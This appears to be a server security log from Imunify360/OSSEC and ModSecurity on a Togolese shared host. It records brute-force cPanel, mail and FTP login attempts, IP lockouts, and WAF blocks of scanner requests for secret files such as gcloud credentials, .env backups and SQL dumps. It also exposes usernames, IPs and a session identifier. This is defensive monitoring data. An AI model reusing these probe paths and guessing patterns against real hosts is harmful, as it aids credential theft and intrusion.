[2026-06-13 02:18:58 +0000] info [cpaneld] 103.119.99.90 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.29.241.119
country_id: 248816
description:
[2026-06-13 02:21:15 +0000] info [cpaneld] 176.29.241.119 - tchambain "GET /login/?login_only=1&user=tchambain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambain (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [13/Jun/2026:02:20:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001094&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftransport-maritime-les-differents-types-dhelices-pour-les-navires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317252 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/transport-maritime-les-differents-types-dhelices-pour-les-navires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.133
country_id: 3469034
description:
Jun 13 02:20:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.133 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.109.82.144
country_id: 3469034
description:
[2026-06-13 02:21:00 +0000] info [cpaneld] 179.109.82.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.113.250.190
country_id: 2017370
description:
[2026-06-13 02:21:02 +0000] info [cpaneld] 37.113.250.190 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.63.9.214
country_id: 290291
description:
[2026-06-13 02:21:07 +0000] info [cpaneld] 109.63.9.214 - tchambainves "GET /login/?login_only=1&user=tchambainves&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainves (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.43.137.129
country_id: 2921044
description:
[2026-06-13 02:21:13 +0000] info [cpaneld] 78.43.137.129 - tchambainv "GET /login/?login_only=1&user=tchambainv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.6.36.145
country_id: 3469034
description:
[2026-06-13 02:21:27 +0000] info [cpaneld] 45.6.36.145 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.136.220.122
country_id: 3469034
description:
[2026-06-13 02:21:21 +0000] info [cpaneld] 177.136.220.122 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.44.85.38
country_id: 3508796
description:
[2026-06-13 02:21:33 +0000] info [cpaneld] 38.44.85.38 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.114.239.53
country_id: 3865483
description:
190.114.239.53 - - [13/Jun/2026:02:22:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315366&pdata=https%253A%252F%252Ftogodailynews.tg%252Finauguration-de-la-dorsale-optique-nationale-de-la-republique-centrafricaine-et-de-linterconnexion-avec-le-congo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317338 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/inauguration-de-la-dorsale-optique-nationale-de-la-republique-centrafricaine-et-de-linterconnexion-avec-le-congo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.8017.1798 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.114.239.53


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:24:10 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:35112: 535 Incorrect authentication data (set_id=test2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 02:24:12 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:24:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 02:24:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.72
country_id: 1880251
description:
47.128.121.72 - - [13/Jun/2026:02:25:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669975&pdata=http%253A%252F%252Ftogodailynews.tg%252Fvih-sida-une-feuille-de-route-au-togo-pour-une-meilleure-riposte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317535 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/vih-sida-une-feuille-de-route-au-togo-pour-une-meilleure-riposte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.72


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 13 02:25:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:25:53 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:25:52 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.114
country_id: 1880251
description:
47.128.122.114 - - [13/Jun/2026:02:26:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725025&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftextile-hausse-de-307-des-exportations-du-togo-en-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317606 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/textile-hausse-de-307-des-exportations-du-togo-en-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.114


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 02:27:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.130
country_id: 6290252
description:
Jun 13 02:26:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 02:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 13 02:30:55 ns5 pure-ftpd[2059021]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:32:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:32:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:15477: 535 Incorrect authentication data (set_id=ox-i)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.208.241
country_id: 290557
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/animate.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.230.24
country_id: 2510769
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/bootstrap.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.62.124
country_id: 1210997
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/owl-carousel/owl.carousel.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.249.103
country_id: 3895114
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/font-awesome.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.236.137
country_id: 2264397
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/style.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.69.20
country_id: 3923057
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/style2.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [13/Jun/2026:02:39:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053521&pdata=http%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318388 HTTP/1.1" 302 0 in.crepsad.tg "http://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 167.17.66.82
country_id: 6252001
description:
167.17.66.82 - - [13/Jun/2026:02:40:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184603&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318437 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.17.66.82


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:41:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:41:30 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:40316: 535 Incorrect authentication data (set_id=takahiro)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.197.142.208
country_id: 6252001
description:
169.197.142.208 - - [13/Jun/2026:02:43:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923227&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318632 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.197.142.208


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:43:43 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 02:43:26 +0000] info [cpaneld] 45.61.130.187 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:43:44 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 169.197.142.208
country_id: 6252001
description:
[2026-06-13 02:44:09 +0000] info [cpaneld] 169.197.142.208 NEW aopsacai:KB6zN3ZP5Nk25McX address=169.197.142.208,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.63.213.7
country_id: 1562822
description:
2026-06-13 02:44:22 H=(localhost.localdomain) [103.63.213.7]:47804 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info-jlob@danhgiasanpham.com> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.208.204.132
country_id: 1643084
description:
[2026-06-13 02:48:36 +0000] info [cpaneld] 103.208.204.132 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: inscription.ucao-uut.tg
description:


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.220.236.97
country_id: 1668284
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-54.185.220.236.97||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 02:54:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.223.5
country_id: 2363686
description:
102.64.223.5 - - [13/Jun/2026:02:55:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194476&pdata=https%253A%252F%252Fwellcity.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319346 HTTP/2.0" 302 0 wellcity.tg "https://www.yandex.tg/" "Mozilla/5.0 (Linux; Android 15; SM-S918U Build/AP3A.240905.015.A2; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/140.0.7339.119 Mobile Safari/537.36 MetaIAB" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.223.5


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 13 02:56:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 03:01:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.17.27
country_id: 1880251
description:
43.156.17.27 - - [13/Jun/2026:03:03:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974361&pdata=http%253A%252F%252Flaunetogo.tg%252Ffetes-de-fin-dannee-attention-aux-dangers-des-exces-alimentaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319791 HTTP/1.1" 302 0 launetogo.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.17.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 13 03:03:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.8.25.40
country_id: 2750405
description:
45.8.25.40 - - [13/Jun/2026:03:05:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789521&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fcommuniques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319928 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/communiques/" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.8.25.40


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.154
country_id: 6252001
description:
2026-06-13 03:06:57 dovecot_plain authenticator failed for H=(c3r9r6pfzbdhj04jios0t6qg) [23.129.64.154]:58689: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.154
country_id: 6252001
description:
Jun 13 03:06:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.30
country_id: 1269750
description:
Jun 13 03:08:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.30 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [13/Jun/2026:03:10:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725076&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D7&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320246 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=7" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.52.218.107
country_id: 2802361
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/bak.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/src.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.104.205.240
country_id: 1861060
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 199.120.12.253
country_id: 6252001
description:
199.120.12.253 - - [13/Jun/2026:03:14:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9620076&pdata=https%253A%252F%252Fwww.arse.tg%252Farse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320488 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg/arse/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:199.120.12.253


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/build.sql||User:antasadmin||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.121
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.193.32.155.121||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.167
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.45.89.75.167||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.72.88
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.152.232.72.88||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.74.200
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.45.89.74.200||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/package.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/services.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/public.sql||User:antasadmin||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.223.32.225
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.223.32.225||TA:104.223.32.225||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 03:18:20 +0000] info [cpaneld] 128.199.123.37 - sotranet "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.78.94.98
country_id: 3437598
description:
181.78.94.98 - - [13/Jun/2026:03:18:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907757&pdata=https%253A%252F%252Fwebmail.leveinard.free.netmaster.tg%252F%253Flocale%253Dfr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320696 HTTP/2.0" 302 0 webmail.leveinard.free.netmaster.tg "https://webmail.leveinard.free.netmaster.tg/?locale=fr" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.78.94.98


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/configuration.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/tokens.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/environment.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.92.236.247
country_id: 1819730
description:
190.92.236.247 - - [13/Jun/2026:03:20:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855273&pdata=https%253A%252F%252Flaunetogo.tg%252Fle-centre-de-mecanisation-agricole-de-tchitchao-une-revolution-agricole-togolaise-bientot-achevee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320842 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/le-centre-de-mecanisation-agricole-de-tchitchao-une-revolution-agricole-togolaise-bientot-achevee/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.92.236.247


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 199.120.15.134
country_id: 6252001
description:
